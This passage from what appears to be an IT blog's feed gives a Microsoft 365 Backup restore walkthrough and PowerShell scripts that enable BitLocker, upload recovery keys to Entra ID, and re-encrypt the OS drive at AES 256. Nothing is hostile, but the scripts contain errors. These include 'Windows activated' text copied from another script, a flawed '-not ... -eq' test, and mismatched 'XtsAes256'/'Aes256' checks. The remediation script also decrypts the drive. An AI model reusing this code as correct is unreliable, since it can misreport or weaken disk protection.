<h2 id="how-to-restore-items-form-microsoft-365-backup" tabindex="-1">How to Restore items form Microsoft 365 Backup <a class="header-anchor" href="#how-to-restore-items-form-microsoft-365-backup" aria-label="Permalink to &quot;How to Restore items form Microsoft 365 Backup&quot;">&ZeroWidthSpace;</a></h2>
<ol>
<li>Open the <a href="https://admin.cloud.microsoft/" target="_blank" rel="noreferrer">Microsoft 365 admin center</a>, open 'Settings' -&gt; 'Microsoft 365 Backup' and select the 'Restorations' tab.</li>
<li>Here you can create a new Restore Task by selecting 'New Task'.</li>
</ol>
<img src="\m365_backup\m365_restore_1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="3">
<li>This starts a wizard to guide you through the task creation.</li>
<li>First you can select what content you want to restore.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>In this example I will restore a few e-mails, but the procedure is the same with every other service.</p>
</div>
<img src="\m365_backup\m365_restore_2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="5">
<li>Next you can choose how to select the items you want to create a restore for via:
<ol>
<li>An .csv file upload. (You can download a template in the next screen.)</li>
<li>Select the items individually.</li>
</ol>
</li>
</ol>
<img src="\m365_backup\m365_restore_3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="6">
<li>In the following screen you can select the Mailboxes or upload the .csv template.</li>
</ol>
<img src="\m365_backup\m365_restore_4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="7">
<li>Next you can select if you want to restore the whole item, or stecific content.</li>
</ol>
<img src="\m365_backup\m365_restore_5.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<img src="\m365_backup\m365_restore_6.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="8">
<li>In this example I restore all content from the past 24 hours with the keyword 'reminder' in the subject.</li>
<li>Please be aware, that the system first needs to search for the selected items, before you can proceed. (In this example, 4 items.)</li>
</ol>
<img src="\m365_backup\m365_restore_7.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="10">
<li>Now I can decide if I want to restore in place or restore to another Folder.</li>
</ol>
<img src="\m365_backup\m365_restore_8.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="11">
<li>Then a short Overview over the selected options follows and you can start the task.</li>
</ol>
<img src="\m365_backup\m365_restore_9.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="12">
<li>Then a the Task starts, which can take a few seconds or a few minutes, depending on the amount you selected.</li>
<li>When the Task is initiated you will see the following screen, with a green checkmark and the notice that the restoration started.</li>
</ol>
<img src="\m365_backup\m365_restore_10.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="14">
<li>When you now go back to the overview, you can see the ongoing task marked with 'in progress' and when completed with 'completed'.</li>
</ol>
<img src="\m365_backup\m365_restore_11.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<img src="\m365_backup\m365_restore_12.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="13">
<li>When you selected to restore to a separate folder like in this example, the system creates a new folder with the date and time of the restore like shown in the screenshot below.</li>
</ol>
<img src="\m365_backup\m365_restore_13.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BitLocker | Powershell]]></title>
            <link>https://michaelsendpoint.com/powershell/bitlocker.html</link>
            <guid>https://michaelsendpoint.com/powershell/bitlocker.html</guid>
            <pubDate>Wed, 28 Aug 2024 20:25:29 GMT</pubDate>
            <description><![CDATA[BitLocker powershell scripts]]></description>
            <content:encoded><![CDATA[<h1 id="bitlocker-powershell" tabindex="-1">BitLocker powershell <a class="header-anchor" href="#bitlocker-powershell" aria-label="Permalink to &quot;BitLocker powershell&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="drive-encryption-and-entra-id-upload" tabindex="-1">Drive encryption and Entra ID upload <a class="header-anchor" href="#drive-encryption-and-entra-id-upload" aria-label="Permalink to &quot;Drive encryption and Entra ID upload&quot;">&ZeroWidthSpace;</a></h2>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">&#x3C;#  </span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    .</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">NOTES</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    -------------------------------------------------</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Created on:    22.07.2024</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Created by:    Michael Frank</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Organization:  [Company]</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Filename:      [File].ps1</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Updated on:    22.07.2024</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Version:       1.0.0</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    -------------------------------------------------</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    .</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">DESCRIPTION</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        This script checks every fixed drive for encryption, encrypts them if not encrypted and uploads the keys to Entra.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#></span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Gets fixed drives with no label so to not get Google Drives for example</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$drives </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">System.IO.DriveInfo</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::GetDrives() </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.DriveType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Fixed"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -and</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.VolumeLabel </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ""</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Select-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Name</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> DriveType</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> VolumeLabel</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> TotalSize</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> AvailableFreeSpace</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Loops through all drives and checks if they are encrypted</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">foreach</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($drive </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $drives) {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $bit </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-BitLockerVolume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">mountpoint $drive.name</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    If</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$bit){</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        # Encrypts the drive with BitLocker</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">        Enable-BitLocker</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MountPoint $drive.name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">EncryptionMethod Aes256 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">RecoveryKeyProtector</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Uploads the recovery key to Entra ID</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $recoveryPasswordProtector </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $bit.KeyProtector </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.KeyProtectorType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> 'RecoveryPassword'</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    BackupToAAD</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">BitLockerKeyProtector </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MountPoint $drive.name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">KeyProtectorId $recoveryPasswordProtector.KeyProtectorId</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><h2 id="encryption-strenght-remediation" tabindex="-1">Encryption strenght remediation <a class="header-anchor" href="#encryption-strenght-remediation" aria-label="Permalink to &quot;Encryption strenght remediation&quot;">&ZeroWidthSpace;</a></h2>
<p>This is a Remediation script for the BitLocker encryption strength. If your Systems are encrypted with AES 128 bit encryption or not encrypted at all, this script will remediate them to AES 256 bit encryption.
This sometimes happen if you bye from huge vendors like HP or Dell. You Still need to upload the recovery key to Entra ID or AD after this.</p>
<h3 id="detection" tabindex="-1">Detection <a class="header-anchor" href="#detection" aria-label="Permalink to &quot;Detection&quot;">&ZeroWidthSpace;</a></h3>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">&#x3C;#  </span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    .</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">NOTES</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    -------------------------------------------------</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Created on:    27.07.2024</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Created by:    Michael Frank</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Organization:  [Company]</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Filename:      aes256_encryption_detection.ps1</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Updated on:    27.07.2024</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Version:       1.0.0</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    -------------------------------------------------</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    .</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">DESCRIPTION</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        Script checks if OS disk has AES 256 bit encryption.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#></span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Gets OS drive</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$osdrive </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> get-bitlockervolume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.ProtectionStatus </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "On"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -and</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.VolumeType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "operatingSystem"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Select-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> MountPoint</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> EncryptionMethod</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-not</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $osdrive.EncryptionMethod </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "XtsAes256"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#Remediation runs</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    exit</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">} </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#Remediation does not run</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    exit</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><h3 id="remediation" tabindex="-1">Remediation <a class="header-anchor" href="#remediation" aria-label="Permalink to &quot;Remediation&quot;">&ZeroWidthSpace;</a></h3>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">&#x3C;#  </span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    .</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">NOTES</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    -------------------------------------------------</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Created on:    27.07.2024</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Created by:    Michael Frank</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Organization:  [Company]</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Filename:      aes256_encryption_remediation.ps1</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Updated on:    27.07.2024</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">     Version:       1.0.0</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    -------------------------------------------------</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    .</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">DESCRIPTION</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        Script activates Windows OS.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#></span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Gets OS drive</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$osdrive </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> get-bitlockervolume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.ProtectionStatus </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "On"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -and</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.VolumeType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "operatingSystem"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Checks if BitLocker is even on and if so, disables it</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($osdrive.ProtectionStatus </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "On"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # If the volume that hosts the operating system contains any automatic unlocking keys, the cmdlet does not proceed. Clear-BitLockerAutoUnlock cmdlet removes all automatic unlocking keys.</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  Clear-BitLockerAutoUnlock</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Decrypt OS Drive</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  Disable-BitLocker</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MountPoint $osdrive.MountPoint</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  </span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  #Sleep to give time for BitLocker to disable</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  Start-Sleep</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Seconds </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">300</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # Removes these 2 BitLocker policies, so that the next time the system starts, the system doesnt prompt for a password and it doesnt get loaded to AD.</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  Remove-ItemProperty</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SOFTWARE\Policies\Microsoft\FVE"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"OSRecoveryPassword"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">  Remove-ItemProperty</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"HKLM:\SOFTWARE\Policies\Microsoft\FVE"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"OSRequireActiveDirectoryBackup"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">  # If BitLocker is not active yet, the $osdrive has no value and the next command would fail.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  $osdrive </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">PSCustomObject</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">@</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    MountPoint </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "C:"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">  }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Enable BitLocker again with the higher encryption only on used space (Encryption will start only after a restart).</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Enable-BitLocker</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">MountPoint $osdrive.MountPoint </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">EncryptionMethod Aes256 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">TpmProtector </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UsedSpaceOnly</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$osdrive </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> get-bitlockervolume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.VolumeType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "operatingSystem"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ($osdrive.EncryptionMethod </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Aes256"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # success</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Windows has been activated successfully."</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ForegroundColor Green</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    exit</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # failed</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    exit</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    ``</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">`</span></span></code></pre>
</div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Package Manager | Powershell]]></title>
